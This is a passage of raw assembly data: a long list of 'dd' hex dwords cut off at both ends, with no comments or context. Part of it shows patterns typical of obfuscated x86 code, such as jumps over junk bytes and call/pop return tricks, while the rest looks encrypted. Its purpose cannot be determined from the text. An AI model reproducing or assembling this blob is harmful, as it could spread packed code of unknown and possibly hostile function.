8DE87D8Fh, 32515EBEh dd 0B059EAB1h, 325675B0h, 3609914Dh, 3AD2524Dh, 3D56AEB1h dd 32565534h, 0B137CBB1h, 0B259D05Ah, 3256EAB6h, 3257F6BEh dd 0DBAFBAB1h, 32565DA5h, 150F4B88h, 0F01FAB35h, 60AE7B77h dd 1CF0299Ah, 3AEFF347h, 8FFFB2h, 5436BCB6h, 9B438F30h dd 22292DD0h, 1FD358B2h, 5256ABB1h, 3256DC58h, 0F128C1B1h dd 0A636F66h, 0B8599485h, 32565DB2h, 53006931h, 3258BEF0h dd 509AABB1h, 2DCC0E1h, 204F3B0Fh, 0E431894Bh, 0B459639Ah dd 32565DBFh, 3256A758h, 592408B1h, 90BACEF4h, 0BBAF1C69h dd 0DB57EBEDh, 325675A1h, 5C7B873Dh, 8138D8FAh, 0C453148Ch dd 10A521B7h, 0CDA95409h, 37EF204Eh, 0DB56EAB1h, 325675BCh dd 9E3F58CFh, 39BA414Eh, 88A411FBh, 52FDA4F5h, 0DB37613Ah dd 0CDA92E55h, 23D5E5D1h, 0DA5675B1h, 3256BABAh, 10866DCDh dd 209C00B4h, 695AFDFCh, 53AE20D7h, 32423CD0h, 63E0EAB1h dd 145F3626h, 0D5160912h, 465DABAh, 589EFD2Fh, 0CA9F5930h dd 5256BB73h, 2E9954D7h, 12EF8C9Bh, 67AA14F2h, 31DAB5D1h dd 3D565DB1h, 0B2596806h, 325657B3h, 0B937CAD1h, 0B137B55Dh dd 0DBAA1675h, 325675B8h, 12DE1090h, 0C1F8D107h, 0B459CE6Bh dd 325657A0h, 325D20BEh, 34BFD5B1h, 7456EAB1h, 5A4598F7h dd 32565276h, 0B30C5DB1h, 3FE56E5Bh, 3CBFAFB7h, 5056ABB1h dd 0D79CE6EAh, 0B55FC85Dh, 7B29A3E0h, 0BAEC3142h, 0CA5050C0h dd 0BD596782h, 325657A0h, 325D26BEh, 34BFD5B1h, 8F56EAB1h dd 9EA8D963h, 3269391Bh, 3170D9BEh, 0B9AAAEB1h, 3CD458B6h dd 0DB56ABB1h, 3256D5B8h, 0C2B34C54h, 23D782EDh, 3E234516h dd 3242B5D1h, 42D8AEB1h, 6226AACh, 82FC923Bh, 55C65971h dd 5896B41Bh, 0FED67478h, 8559E407h, 47A93C72h, 0CE0657B9h dd 32555759h, 3BD7A4B1h, 5256D5B1h, 0D6B86BD7h, 53082749h dd 0B7597ABAh, 32565DBFh, 0C7512544h, 32566358h, 8559CBB1h dd 0F5D5B478h, 325B03A5h, 0AC075B1h, 698F952Eh, 116A2F1h dd 5218F2A8h, 3255DCBEh dd 0EBD6ABB1h, 3DA3B534h, 3256EA37h, 0DB3714B1h, 0CDA945ECh dd 0CE13D444h, 32572EBEh, 0CDAE57B1h, 0BE59A7C4h, 3256D5B8h dd 0DCD78CD1h, 0FADD4142h, 3A2345D0h, 5261A244h, 0FFBA930Fh dd 4CBE36ADh, 0DB56ABB3h, 3256D5B4h, 103260B0h, 32479C60h dd 3049BAB1h, 980CB0A6h, 66FCCB62h, 7C8CE7F5h, 39D1961Fh dd 1CD2DA71h, 0DB56EAB1h, 325675A3h, 0ABADF460h, 86B7E077h dd 230D1681h, 23727088h, 2BBFC3FDh, 0DB56D5B3h, 3256EABCh dd 0BD3F621Fh, 0D4A01F1Dh, 6150902Eh, 0CE1325C1h, 32565858h dd 851F20B1h, 0FF0EAAEEh, 0F6833A28h, 1C6AB87Ch, 0B059BD88h dd 32565C59h, 0CE135149h, 3629D44Dh, 19D2A4B1h, 5256D5B1h dd 0B930B3E3h, 4DD5144Ah, 0B659BABDh, 32565DABh, 35D9A144h dd 3D5657B1h, 3256AA33h, 61BF20B1h, 3D56EAB1h, 32567432h dd 0CDEE46B1h, 0CAA9A24Eh, 325E29BEh, 0B95957B1h, 3256ABB3h dd 37EFB4D1h, 3D56EAB1h, 32567036h, 8559DAB1h, 99A53C40h dd 0F8852FD1h, 0B34AD03Fh, 9F371A41h, 0C6BFB4A8h, 52A9154Fh dd 3253FEBEh, 0B330BAB1h, 0B3355B56h, 0F8CFA660h, 4DD53686h dd 0B659AEA1h, 3256D534h, 3256E258h, 54ACA9B1h, 0D4630A54h dd 2229DE6Dh, 83D3A1B7h, 3D5657B1h, 3256A632h, 0F4D7B5B1h dd 5C44507Ch, 0E787F4D7h, 5217DB20h, 32DE52D1h, 8D56AEB1h dd 166E72A6h, 75DDCAD0h, 28D9DAB5h, 3D56EAB1h, 32566130h dd 325953B1h, 0D8BC5DB1h, 89BC1BCBh, 6EB1AC2Dh, 10B708EDh dd 3E095EDDh, 3256FA58h, 5A6D08B1h, 43C1E52Eh, 6023086Bh dd 7CB163D7h, 32CABE80h, 0DBAAABB1h, 3256D5B4h, 0C1CAD9E4h dd 3611FED1h, 3256B758h, 9B3D3BB1h, 0DEEA448Dh, 0B6DA431Ah dd 6DDDBE72h, 8559B5BDh, 0CCE3BB46h, 34BF14EEh, 0AC56BAB1h dd 4E12FD55h, 320647EFh, 0B95957B1h, 3256ABBDh, 325058BEh dd 0BC59EAB1h, 325675B1h, 0CB52FD3Ah, 0CB5A023Ah, 5252F19Ah dd 189ED6D7h, 0D9D5CA76h, 0B936B5B4h, 0CCDD8C6Eh, 0C99AF5D0h dd 222939D0h, 21D352B2h, 5256AEB1h, 0A5F11B08h, 6807FD9Ah dd 5217B4EEh, 0C70E60Eh, 0EB7D148Fh, 325E3EBEh, 0BA595DB1h dd 3256AEB3h, 6EDF36D1h, 3EBFAAB0h, 0D256D5B1h, 3D7A58D8h dd 48DAD7A9h, 52966B76h, 0B3C2AC31h, 0A4387B77h, 0CDEE36F5h dd 0C7A9544Eh, 3256D008h, 325F03B1h, 809075B1h, 51A052C2h dd 0C18D1F1Bh, 0B2BF561Ah, 0CAA9A84Ch, 33D5A4D0h, 0CE56D5B1h dd 3CD4E578h, 0DB5675B1h, 3256BAB8h, 397D02B2h, 0DF49F3AAh dd 325E9523h, 5436FE4Dh, 0EADE0C30h, 53915DBEh, 3ABF993Ah dd 9856BAB1h, 28212B13h, 0C73F9BE4h, 0CAAA9332h, 32572EBEh dd 52AFD5B1h, 3256F858h, 5914EFB1h, 2EF4B2C4h, 0CC82EF90h dd 581A05B5h, 0B9C768ACh, 3CBFA3F4h, 4956D5B1h, 76780E7Dh dd 0E790F443h, 68F6602Bh, 3E13661Eh, 32102CBEh, 23BF57B1h dd 0B156ABB1h, 1B355E85h, 0DA03C57Ah, 2364CF49h, 529CDE03h dd 3D46188Ah, 32568936h, 7791A2B1h, 3256AB4Dh, 32503CB1h dd 1F63EAB1h, 1130D587h, 3256B358h, 0E8F395B1h, 0EACFC10h dd 2BF409Ch, 0CA56ABB1h, 33AA9076h, 5256EAB1h, 32567358h dd 8666DAB1h, 0C75384C0h, 325847D0h, 562757B1h, 5B4EF732h dd 0E44F086Bh, 0CE7B2146h, 32567758h, 53A342B1h, 0CE13D648h dd 325E29BEh, 0B75957B1h, 3256ABB3h, 0DB9FB4D1h, 3256EABDh dd 58151780h, 0C73A42FBh, 1DF23905h, 0CA56A273h, 3EDC58E4h dd 3D56ABB1h, 3256D339h, 32D0E5B1h, 0B95675B1h, 0F6D5435Dh dd 2ED0524Dh, 3D56AEB1h, 3256413Fh, 324742B1h, 9CF0D5B1h dd 9BEBD494h, 1507131Fh, 66D205BDh, 522B6A7Fh, 325722BEh dd 0DAAF57B1h, 3256ABB1h, 0BCBC54EBh, 0DB50E709h, 325675A5h dd 9FFFE093h, 5CF7C3A5h, 484187A6h, 97D18AE1h, 5ED9828Eh dd 325F54BEh, 8D36EAB1h, 3CBF5BEFh, 1375206h, 325AB478h dd 0FE1AEB1h, 0BF325C27h, 58983AE5h, 1AF0726h, 3244036Ah dd 1DAB75B1h, 0F731BB26h, 2451DBDAh, 85F3A1DEh, 3D81095Ah dd 0CBAAF638h, 43DE6F3Ah, 0BE59ECBCh, 325675B0h, 3269394Dh dd 300DD9BEh, 20BFAEB1h, 275657B1h, 610B2CB4h, 0D91F5200h dd 4517A609h, 7A7815CEh, 0DD5439Dh, 1DD3524Eh, 0DB56AEB1h dd 325657B6h, 48CA32Ch, 0B16AA086h, 3DBFFE76h, 565675B1h dd 6A4A9183h, 0BD278FF1h, 0F3DA1175h, 9CBFB2F1h, 3DA9544Eh dd 3256D432h, 4DD516B1h, 0B65975B5h, 3256BA97h, 0D7A1DDD1h dd 0B137653Bh, 3D565BCEh, 3256BE35h, 69E1B5B1h, 321603D0h dd 543675B1h, 0F7CF5030h, 0ECE952E0h, 77A9CFE8h, 0F5D5A24Dh dd 325E42A5h, 0DA0AD5B1h, 0A5D43BC8h, 6CBF420Bh, 52A9454Eh dd 3DA7D6D7h, 3256AD36h, 0F1DD31B1h, 325E42D0h, 53A3D5B1h dd 2063FE03h, 4DD54DEFh, 0B659BFA1h, 32565D30h, 32582DBEh dd 3BBF57B1h, 4756ABB1h, 85B72B4Ah, 8AFC9BB6h, 34460A32h dd 32C83FBEh, 3D365DB1h, 8930550Eh, 52375D21h, 325528BEh dd 0B930D5B1h, 3D178B7Bh, 32567438h, 75DD46B1h, 3244B4B5h dd 0C369AEB1h, 478D8A0Dh, 0D1DA2A49h, 2C0A9C9Fh, 2016729Ah dd 3D5A2A3Ah, 3256A436h, 26BF3DB1h, 1756AEB1h, 6848EA54h dd 5776060Ch, 578F4468h, 0D911D8B9h, 3DF1A97Fh, 0DB37440Eh dd 32565D7Dh, 36112544h, 32564558h, 53793CB1h, 0D1C40E95h dd 2B7ACEA5h, 4EC1B196h, 0CA4AFB12h, 3D5A023Ah, 3256A63Eh dd 30DF58B1h, 5256ABB1h, 32D13CD0h, 37BFEAB1h, 0B55675B1h dd 9FCDA7DFh, 0DB521A3Ah, 3256AEBDh, 0D82AC74Ah, 61E52FCDh dd 0CE206CBEh, 525AB53Ah, 0DBA09531h, 3256BABDh, 4CFD66Bh dd 7D7619C5h, 0C3121455h, 360980D0h, 3256DC58h, 1EEE21B1h dd 76A861FCh, 54368973h, 0BCA2B230h, 0B69F2FD7h, 0D9D5361Bh dd 8B30CBB4h, 3EBFBDE8h, 0B856EAB1h, 0BCC320CBh, 0F38DB37Fh dd 53CA6084h, 3146D132h, 3259D2BEh, 73AEABB1h, 325150BEh dd 0B659EAB1h, 325675B0h, 0DB8F9144h, 32565DBDh, 4FF1BF30h dd 9B8DE68Eh, 0A463CBFDh, 33578938h, 3256E058h, 0EF88A6B1h dd 0BF24DB84h, 0CB4D3213h, 0CDA95109h, 37EFAE4Eh, 5256ABB1h dd 54067703h, 17E20B30h, 99A514EFh, 325738BEh, 0DBAE5DB1h dd 3256AEBBh, 0A74435F7h, 443FD7D4h, 94BFC69Dh, 3DA9154Ch dd 3256713Dh, 0EE6DAB1h, 54363CD0h, 0CBDD793Ah, 0CE13DCD0h dd 325723BEh, 0FBA3D5B1h, 3256E058h, 800A48B1h, 0C8899470h dd 0F19347B6h, 3256BD58h, 755C9CB1h, 27D4C4C2h, 1F625875h dd 0D8603D4Eh, 0A8B71E0Fh, 3256B058h, 743EA1B1h, 0BE26B91Eh dd 62E94B11h, 3256A558h, 0E64CC1B1h, 0B02EE877h, 0C2D70149h dd 6328C849h, 0BB590E49h, 3256AEB7h, 0E4DD31D1h, 32BECA4Dh dd 6856D5B1h, 89870030h, 0B05973BCh, 3256BABDh, 3250DBBEh dd 0B259AEB1h, 325657B1h, 325A22BEh, 0B959D5B1h, 3256EAB7h dd 3256FDBEh, 0A8DBBAB1h, 345B2F2Fh, 3256BA58h, 28DA95B1h dd 7223986Dh, 7C9E9238h, 0B55CE19Dh, 576230E9h, 32320254h dd 0DAAA5DB1h, 3256ABA8h, 3251D3BEh, 6136ABB1h, 0E3DDB3E8h dd 0DB5D61D0h, 325675A3h, 8ED46E57h, 584C5775h, 0C61D418Ah dd 0D8AF17B4h, 0F36DD066h, 32313C49h, 3CBFEAB1h, 0B55675B1h dd 0C002A2F0h, 0A51EF2C0h, 0DED39F11h, 361D5473h, 3D979048h dd 32565533h, 31AE1FB1h, 3DBF65FAh, 0A56BAB1h, 3DC22752h dd 0EA406841h, 89C899ECh dd 0F36DDE11h, 325E57BEh, 0CBAFEAB1h, 32567858h, 0B4BF43B1h dd 52565DB1h, 4C77EE08h, 48BF3688h, 0DB56ABB1h, 3256D5B8h dd 8164D6A0h, 5175F9F0h, 0AACC37F0h, 3D5053FDh, 3256A733h dd 0B33037B1h, 5266AA7Bh, 0E1A9B4D0h, 325765BEh, 0C7AF75B1h dd 3256F258h, 3259B4B1h, 0E35EAEB1h, 2C3ED312h, 7FB35E2Eh dd 84C4A182h, 8CCC67BFh, 3D507BFEh, 3256AB3Ch, 325AB4B1h dd 0BAC6AEB1h, 0D4808137h, 0D2B33D4Eh, 0E1A9BE56h, 3256E358h dd 448D7DB1h, 0DD61DACFh, 0B359BB66h, 3256AEB0h, 3D360C49h dd 3256A931h, 53AC5FB1h, 325003E8h, 76D975B1h, 0ABAA0E3Ch dd 0B0593DE9h, 3256AEA5h, 32565858h, 409540B1h, 22FC4C76h dd 23DD38B3h, 0AAAE9338h, 523679D0h, 0A8A1DCD7h, 2AEEC8A3h dd 8D5936F8h, 0CB03CA72h, 0BC59393Ah, 3256EAB9h, 3254F9BEh dd 5336BAB1h, 32565D59h, 0D8D7F4B1h, 345BEA32h, 3256A358h dd 380EEB1h, 1D065D2h, 32519C36h, 0A38BBAB1h, 0E9A20CA4h dd 22D1A133h, 0DB5657B1h, 3256ABBAh, 0ABC289AEh, 3F1F7B98h dd 52D8E207h, 0CBE1B5D1h, 32565859h, 0BD828B1h, 6B015547h dd 88DBCAEFh, 345BA72Fh, 3A13614Dh, 0E8DD13D1h, 53AD05BEh dd 3D365A38h, 3256AD3Eh, 0DDA4D7B1h, 0B9377A05h, 26BFD9F4h dd 7156EAB1h, 0C1DD5160h, 94EFE590h, 0F2906F30h, 3E6727F3h dd 0BB102250h, 0B259AFF6h, 3256D5ADh, 324063BEh, 23BF75B1h dd 0E056BAB1h, 0D5C28F04h, 6908E95Eh, 0ED0E86BEh, 2467B855h dd 5246903Ah, 4A946BD7h, 32519CDEh, 657BAB1h, 242D2F0h dd 75DFCF69h, 3AD658BDh, 3D56ABB1h, 3256D738h, 0B9378AB1h dd 0BBA361F4h, 0DB36AAF6h, 32565DA3h, 488FF263h, 1A49A533h dd 7192C809h, 55AF2255h, 0B3302F3Ch, 53AF9663h, 325B53D0h dd 48ED5DB1h, 631F038Dh, 71637071h, 0FBAC3F56h, 325A5CBEh dd 35BFEAB1h, 585675B1h, 6869BAC2h, 22948815h, 3D365BB1h dd 32565932h, 325F42B1h, 3009D5B1h, 0CCAAC966h, 0F485ADCDh dd 357ABF34h, 8C361AB7h, 1FBC5F43h, 53ADDCD7h, 2525B1D9h dd 3EDDDA19h, 3D56EAB1h, 3256733Eh, 32DBB5B1h, 0CD565DB1h dd 35670304h, 38DA58B7h, 0DB56ABB1h, 3256D5B4h, 0FEFA2204h dd 2DD3F8F6h, 5250B0CAh, 0B397EABEh, 74FDF669h, 0E2A936EFh dd 53AF5ED1h, 325E3CE3h, 83A3EAB1h, 0AABFB180h, 0B8DBE72Fh dd 345B29A5h, 73B12FD1h, 88310FD1h, 22A6FDCBh, 0B75984D0h dd 3256EABDh, 32567258h, 87318BB1h, 0A1F1CA64h, 3256BD58h dd 805467B1h, 0B89C9DC6h, 0F66548CEh, 0A197FBA2h, 3FADA763h dd 3DBF6A4Eh, 0D4565DB1h, 0BA10D58Ah, 4916205Dh, 0EBF15664h dd 0CE0CD912h, 4642683Ch, 0DBAA73BCh, 3256BAB8h, 8AD73195h dd 0C96DC23h, 72E15823h, 8D30CBBDh, 8A30B3A5h, 0B9378454h dd 20BF8D69h, 8E56BAB1h, 4E04A638h, 7BAF9F9Dh, 95E1D614h dd 34F964C2h, 3BBF879Ch, 3956EAB1h, 0C5746F63h, 8950DFC6h dd 325AD4BEh, 35BFAEB1h, 745657B1h, 0A34B1700h, 359DE64h dd 325A68BEh, 35BF75B1h, 8056BAB1h, 9F388A96h, 0CB0CD022h dd 35BF94B2h, 2556ABB1h, 4B7CB44Ch, 0B0DF0612h, 34517BF0h dd 324431BEh, 3FBF5DB1h, 4956AEB1h, 4FEB7D7Ch, 0CC4E90FCh dd 99EA62D1h, 38DAE5D0h, 525675B1h, 0C4297330h, 12E72E70h dd 38BFCED0h, 0D45657B1h, 30EC89Dh, 0F926F91Ch, 25D4E5D5h dd 0DB5675B1h, 3256BAA3h, 0C4D37E9Fh, 80E70A37h, 2D3CD1F5h dd 9EFE0AA1h, 0F137549Dh, 7CE88CD1h, 5161F5AEh, 0C800Fh dd 840F0000h, 6, 820Fh, 60520000h, 97EA8166h, 0E8618Ch dd 5A000000h, 0C079EA81h, 0F60060Dh, 108Fh, 0AE800h, 74790000h dd 5CD6C10h, 0B35FDB0Fh, 72E78158h, 6154915Fh, 0FC52F8FCh dd 0E41828Bh, 8E90607h, 29000000h, 0E7368A6Bh, 0B9D3E0D1h dd 41C64E6Dh, 5E9h, 2BA79F00h, 0E1F71A33h, 18D0Fh, 5AF90000h dd 18D0Fh, 5F50000h, 3039h, 158A0Fh, 10E90000h, 0CD000000h dd 4D7DBD2Ah, 60FE183Bh, 0C4ABBCB7h, 25DC6B4Bh, 7FFFFFFFh dd 6E9h, 7387CB00h, 89582D2Fh, 70E4182h, 0BE666006h, 8166DDDCh dd 6188A2CAh, 8B50605Ah, 0C3815AFBh, 8DD9ABEh, 850F5961h dd 1, 8B0FC3F9h, 0Dh, 8E9h, 3ADAB400h, 0CEB371AEh, 52FC5114h dd 7E9h, 54C19800h, 66265235h, 0E8h, 0EA815A00h, 60DC153h dd 0DE9h, 0C460B500h, 4BEBB2EEh, 8CEC0F40h, 8BFCEB1Ch dd 8B6660C8h, 0E0E861FBh, 0FFFFFFEh, 885h, 2870F00h, 60000000h dd 0FD23361h, 0E86h, 9E900h, 0CD380000h, 77FB8C79h, 0F79F8209h dd 0CE9F1h, 0A40D0000h, 74AD8936h, 5D6A0C24h, 0C28BB298h dd 1870Fh, 5AF80000h, 0C1816660h, 0BF0F3E58h, 0E95961D1h dd 7, 0F3D338DAh, 0C39D5369h, 0DE9h, 76B82500h, 409F43EDh dd 353EED13h, 7E9D804h, 8A000000h, 759866B7h, 0C08B41A7h dd 0E2816660h, 8C0FB638h, 6, 6BAAE981h, 8B6141AAh, 18D0FC0h dd 0F5000000h, 8A75858Dh, 10E9060Dh, 74000000h, 0E16E639Ah dd 0D61DCB07h, 9F3F2B13h, 0FFDF3CECh, 0C3B260D0h, 0D1ACBE66h dd 0C18B6661h, 11E9F9h, 5CEA0000h, 4AC343F1h, 86763347h dd 93A34624h, 8D9E5414h, 0DC05985h, 66FC6006h, 4017D381h dd 10E961h, 781E0000h, 5945C7AEh, 0B16A1847h, 3420D698h dd 8589D556h, 6071541h, 48D0Fh, 60600000h, 858D6161h, 60DC13Fh dd 16830Fh, 66600000h, 0C53AD681h, 0AE9h, 0E302B300h, 6D272884h dd 6156EC79h, 1B9D8589h, 880F0607h, 0Ch, 68B0Fh, 8F0F0000h dd 0 dd 0B8h, 15810F00h, 0E9000000h, 10h, 90F43875h, 0A4A2CDFh dd 5A78EAA0h, 0FD432BD7h, 840FC00Bh, 1A0h, 9E9h, 34DCF500h dd 4F709B2h, 85C62692h, 6072C05h, 0FC8A6056h, 30DF6861h dd 0FE9A9C5h, 7E000000h, 7B0C436Ch, 152A55C1h, 0A370D4DCh dd 0B5FF1B15h, 60731ADh, 10E9h, 65D0C900h, 1FD49949h, 1369B3DAh dd 58361564h, 1F858D4Ah, 0F060A7Bh, 889h, 2870F00h, 60000000h dd 60D0FF61h, 0CE9h, 0B35EAF00h, 931E142Dh, 2D6632E1h dd 61D98B69h, 0BA666050h, 0F0B8EDB5h, 6161CF47h, 0B658D8Dh dd 0F600607h, 18Eh, 5161F800h, 0EE960h, 10F00000h, 0EA3775A8h dd 904EA4A5h, 6FE43BA9h, 0D78B6660h, 7E8h, 0E5CDCC00h dd 93221E95h, 6A616159h, 0DE904h, 5C050000h, 802BE6FAh dd 0D0F57096h, 0E9706FF1h, 0Ch, 0F890F7E5h, 2DE7B292h dd 7EAF37A0h, 100068h, 14E900h, 29830000h, 0F1356D2Bh dd 232CA65Ah, 4339B543h, 0E807F84Bh, 0B5FF2B7Ah, 6071409h dd 12890Fh, 0DE90000h, 69000000h, 2FDD286Ah, 36A40D77h dd 2474AD89h, 10E9D0FFh, 7E000000h, 60984BA3h, 8BBA0341h dd 3E627AB9h, 8B18B7DCh, 71409BDh, 16860F06h, 60000000h dd 0BE9h, 9522C000h, 8916A935h, 75C08F4Dh, 18AEBB66h, 5E961h dd 1D6C0000h, 30567C1h, 81F83C7Fh, 0F8C7h, 8830F00h, 60000000h dd 820Fh, 0F610000h, 1B85h, 15850F00h, 0E9000000h, 10h dd 5FB91699h, 0FE0851C1h, 0A81A40D0h, 0A00B723Fh, 202447C7h dd 0F8600000h, 7119D8Dh, 8E0F0607h, 8, 8166F560h, 616D1CF7h dd 11E960h, 0F3D80000h, 33D2DADCh, 16CA493h, 25EAB76Eh dd 66818972h, 61D79EBEh, 6660038Bh, 0B966D38Bh, 0B614D86h dd 3B840FC0h, 60000000h, 13890Fh, 0EE90000h, 0FC000000h dd 49E01FCh, 8B5578CBh, 0C534E562h, 146BB85Ah, 8B617AF1h dd 18E0F00h, 0F5000000h, 0E9044389h, 0Ah, 63E8D690h, 0E283C274h dd 0F6B90FFCh, 8D00234Ch, 0DC60E8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0DEB2D349h dd 6798D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 14E892C3h, 27000000h, 2123AA8Ah dd 0E1E511EFh, 0F09D6ACCh, 0DC55EBA4h, 89884F14h, 7066995h dd 85C75806h, 6072CE5h, 59D0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 50C35747h, 0A0C4430h, 856C6872h dd 0C18B66F9h, 2D0585C7h, 607h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 5798E8C3h dd 5E7ACDCBh, 8A3D9990h, 21B5FFC7h, 1060732h, 71BC58Dh dd 0BD95FF06h, 6A060700h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0F21BC356h, 819AB79Eh dd 101529E7h, 0FF006A2Eh, 716B595h, 0EBC08B06h, 13CA8918h dd 9A9349DFh, 0A5C46D28h, 21AAC09Eh, 0E3458F0h, 788B1B09h dd 0CF8D8D95h, 66060DC6h, 89BC7DB8h, 706798Dh, 38A0F06h dd 80000000h, 85C7A2F2h, 6072CE5h, 73A8h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 16C35343h, 56E6CFB4h dd 0AD22A8A7h, 26F5B509h, 81660607h, 0C7522BD2h, 72D0585h dd 6, 0A1B5FF00h, 6A060705h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 4B7DC357h, 0AC8374E2h dd 0BD950960h, 89060704h, 71DDD85h, 95FF6106h, 60700BDh dd 0C89BD8Bh, 6A0607h, 16B595FFh, 0C08B0607h, 3BE009EBh dd 22589EADh, 0E84B25BDh, 13h, 24CBB0BBh, 32428B75h, 950A4189h dd 0C24894CDh, 0B7935E0Fh, 0F6059FBh, 0C18BCEB7h, 0B9C18161h dd 66000072h, 26BFD78Bh, 814EC4BDh, 0C4A1A3F7h, 0CA81664Eh dd 31FF8209h, 0BA6658F9h, 0F0819F0Bh, 20E10981h, 0E858589h dd 0E8810607h, 62B22B37h, 0F0812AB3h, 579BA8D6h, 34F38166h dd 8001892Dh, 0E98101EBh, 922B1D4h, 81F6BF0Fh, 22B1D0C1h dd 4FEBB609h, 11850Fh, 2AE90000h, 0B7000000h, 0F1932ECDh dd 604F5CA8h, 8BA2D59Eh, 710259Dh, 0FFA0E906h, 0D589FFFFh dd 419CBF3h, 82363FCCh, 5B3E1B56h, 0BDE5252Fh, 10E81Eh dd 2B910000h, 0ACE899F5h, 0B10E96Ch, 0CE39F60Eh, 0C88A1742h dd 25958B5Fh, 81060732h, 66AAC7h, 0F605100h, 8B66D2BFh dd 685A61D8h, 1981h, 0B7D55BBh, 0BA66585Ah, 378BD101h dd 6BC9BA66h, 2364EE81h, 0BF0F543Dh, 0B2C681CEh, 0F77C557h dd 583h, 8C0DB900h, 0EE816BDCh, 77B55659h, 8960C180h, 4EF8337h dd 59B58B60h, 0B060720h, 7020D85h, 0E8816106h, 1, 17850Fh dd 0BF0F0000h, 22E9D3h, 0C6C10000h, 44FD2015h, 6CAE8FFBh dd 1E8DB653h, 5DBD01EAh, 0E9060705h, 0FFFFFF96h, 0C54E937Dh dd 4D4C64DCh, 0C93E8D8Dh, 0AE8060Dh, 0C7000000h, 0DDC29642h dd 6EFD72F1h, 5E5A515Bh, 6798D89h, 850B0607h, 6073279h dd 2CE585C7h, 5AE00607h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 231EE4C3h, 0C025B075h dd 95B58B60h, 0FC060703h, 585C761h, 6072Dh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0A5A4C352h, 89640CBEh, 7019595h, 0C5B5FF06h dd 6A060732h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 8116C350h, 91F9902h, 0BE901FAh dd 85000000h, 3886B28Bh, 0EEF56EEFh, 0AE8A9D1h, 0C0000000h dd 6E42AF8Bh, 65F0C472h, 0CD9D8BA9h, 5B060708h, 0BD95FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0FD5C96C3h, 0FF006AFCh, 716B595h, 0EBC08B06h dd 0CE05825Ch, 0AC21CED6h, 0FC628077h, 9B62998Fh, 0BFB39098h dd 32E88FE5h, 69137C67h, 696BA6B3h, 7074199Bh, 0F4951B03h dd 141CC77Fh, 0CD94700Fh, 7DDA899Dh, 0B703ECB4h, 9D586F69h dd 0FEA92DA6h, 8E298C87h, 9D9F761Ah, 0A2015813h, 0B021EA1Bh dd 0EFFFB531h, 0B1C06BCFh, 8F8D6116h, 0EE800h, 0C2500000h dd 0B5A0FB47h, 3B526818h, 39E037h, 2AA5BD89h, 8B5E0607h dd 70DC195h, 39C68106h, 0F8000067h, 0DBE099BBh, 35F38118h dd 0BF18DBF9h, 184D91DFh, 8B66068Bh, 42C081C8h, 0F37CAB6h dd 383h, 0D3B70F00h, 0C778C081h, 0C0810FF8h, 38CBE342h dd 0E78150F9h, 2361E7EFh, 9589068Fh, 6071B29h, 1A9EE81h dd 890F4D82h, 6, 3958D8Bh, 0C6810607h, 4D8201A5h, 15AD9D29h dd 0EB830607h, 0A9850F01h, 66FFFFFFh, 0E93D1CB9h, 8, 64289509h dd 0 dd 4B6E9h, 0CB776800h, 1FE9060Dh, 68FFF9B1h, 60DCBF3h dd 0F9B115E9h, 0CD4168FFh, 0BE9060Dh, 65FFF9B1h, 0FDCBA9B2h dd 98664417h, 3705E378h, 0D4A280DBh, 0A13C1A41h, 52090CCBh dd 0EB70A674h, 87D43F0Dh, 2536DBA9h, 0A917547h, 84D53528h dd 434D3ADh, 0A6644A11h, 510CEF6Ch, 7957040Dh, 0CEB46AEFh dd 0DF66DE56h, 7EC76AFDh, 684A3F82h, 0ED7EC76Bh, 33AC7AAh dd 4078BF98h, 4A5217FDh, 0B691AB62h, 0EF6CAAD6h, 6E44510Ch dd 0FC78BFC2h, 0B470A260h, 0BFC24B2Dh, 0DE8DD078h, 0EF146BFBh dd 0E4905A96h, 2F0F5h, 0EBF31C00h, 0BDA37BDEh, 0BF975336h dd 0FE18D878h, 4BBEAE5Dh, 5B5AA7FCh, 58BEE376h, 0A8FFD003h dd 0BE1ABB32h, 2AB1290Fh, 7B5B0148h, 5E3406CDh, 7A9435D5h dd 2EEF98CBh, 372732B2h, 0E65ED654h, 5B287D5Fh, 556BB7Bh dd 0F3361BE2h, 43F88310h, 37FC7553h, 0AA35DCB4h, 6BE8CBBAh dd 1C050528h, 0A368E0C6h, 0AF238242h, 9C290C14h, 6F4C35DAh dd 38F6DC1Fh, 0E2C44BD9h, 206F4CBCh, 3E8166F5h, 2EE3B18Fh dd 768CF62Dh, 52B31B14h, 2CC56h, 0BF9C7B00h, 5A0113E1h dd 0F962AE7Ch, 96C54D1Bh, 302BEAB8h, 22B5B752h, 0BC8A68F3h dd 5523015Ah, 0F1BF9DBEh, 8B5D3B20h, 363E20A7h, 0E9C384D5h dd 9D1484Ah, 0AEAD6523h, 17D54DCBh, 0EC795CFFh, 78B9375Ch dd 0B8301659h, 624516FAh, 0FEE4779Eh, 0EC731739h, 6C4F261Eh dd 6EED28F6h, 0E5693E4Bh, 729F78B9h, 4685E565h, 6EA73F41h dd 5403CAEDh, 321E6EA5h, 0C02111A7h, 250C4h, 3B20F700h dd 0D6858F5Dh, 75E62AF8h, 1249C997h, 0ACAF6634h, 9E3933CEh dd 3806E477h, 0D19F7DDEh, 6D3B1942h, 7D9B7A4h, 36BA9C23h dd 653F84D5h, 858C4AC6h, 9ECB3D6h, 644A9089h, 0F93D27ECh dd 7A46171Eh, 917A0A97h, 347778B9h, 0FB2E0411h, 0EBC78B9h dd 25F392A9h, 8698E496h, 0BF000001h, 2B4E0D04h, 4B312AE7h dd 0B2D5868Dh, 89208EBh, 5CE3C911h, 78C07B89h, 2D86480Dh dd 87B7BE5Bh, 80B3834Eh, 96792A1Ch, 0A4B75919h, 0EFC5D2F5h dd 7D78C020h, 